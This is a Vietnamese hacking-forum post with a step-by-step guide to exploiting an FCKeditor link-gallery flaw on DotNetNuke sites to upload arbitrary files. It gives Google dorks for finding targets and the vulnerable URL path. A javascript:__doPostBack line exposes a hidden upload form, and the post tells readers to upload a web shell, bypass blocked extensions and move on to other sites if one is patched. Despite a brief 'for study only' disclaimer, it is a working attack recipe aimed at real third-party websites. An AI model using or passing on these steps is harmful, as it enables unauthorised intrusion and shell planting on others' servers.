VNXZĐăng Nhập

VNXZ | FORUM chia sẻ kiến thức, mẹo vặt, Confessions,linh tinh

*Ý kiến đóng góp hãy gửi thư cho mình tại FB: Bùi Văn Minh
*khi bạn đăng kí với diễn đàn, bạn cần xác nhận email thì mới là thành viên chính thức, tin nhắn nằm trong hộp thư máy chủ email của bạn.
*Post bài để ủng hộ diễn đàn, cảm ơn mọi người! page diễn đàn (page thủ thuật)
*Lưu ý:bài viết trên diễn đàn là sưu tầm trên mạng

Share

descriptionKhai thác lỗi Fcklink gallery để Upload file tùy ý

more_horiz

Khai thác lỗi Fcklink gallery để Upload file tùy ý





Lỗi FCKeditor (gọi tắt là FCK) là được phát hiện cách đây khoảng 4 năm

Khai thác lỗi FCK trên Website giúp chúng ta có up file bất kỳ lên Web của nạn nhân mà không cần quyền Admin.

Hôm này mình sẽ hướng dẫn các bạn khai thác lỗi này, lưu ý, một số site vào đúng đường dẫn nhưng không up được là do admin website đó đã Fix, vì vậy mình nên tìm site khác để khai thác nhé.

Bài viết dưới đây mang tính chất học hỏi,nghiên cứu. Các bạn không lên lợi dụng để phá hoại hoặc làm tổn hại đến uy tín Website của người khác

Cách thức tiến hành:
Bước 1: dork google

Code:

inurl:/tabid/36/language/en-US/Default.aspx
inurl:/fcklinkgallery.aspx
inurl:/portals/0



Bước 2: Vào 1 trong các Website được Google liệt kê, để tiến hành khai thác lỗi

Bước 2:

Chọn 1 vài site bất kỳ truy cập vào và thay đường dẫn thành


Code:

http://tênweb.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Bước 3:
Nếu xuất hiện được bảng này thì thành công

Bước 4:

Check vào dòng thứ 3 File (Un File di questo sito)

Bước 5: Xóa hết chữ trên thanh địa chỉ (address) của trình duyệt, dán đoạn script này vào và nhấn Enter

Code:

javascript:__doPostBack('ctlURL$cmdUpload','')

lưu ý: nếu khi bạn dán đoạn mã vào trình duyệt mà nó tự làm mất chữ "javascript:" thì bạn gõ lại hoặc trước khi copy thêm 1 kí tự trước đó rồi paste vào xóa kí tự đó đi
Bước 6: Ở dưới sẽ xuất hiện 1 khung cho ta upload file. Nhấn Browse… để chọn file (shell) up lên

Bước 7: nếu các bạn up shell có phần mở rộng bị chặn thì các bạn phải tự bypass lấy hoặc tìm site khác.
chúc bạn thành công Very Happy

VNXZ | FORUM
Bùi Văn Minh / Admin
minhmen99@gmail.com / 0164282117

VNXZ | FORUM
http://vnxzforum.net
Permissions in this forum:
Bạn không có quyền trả lời bài viết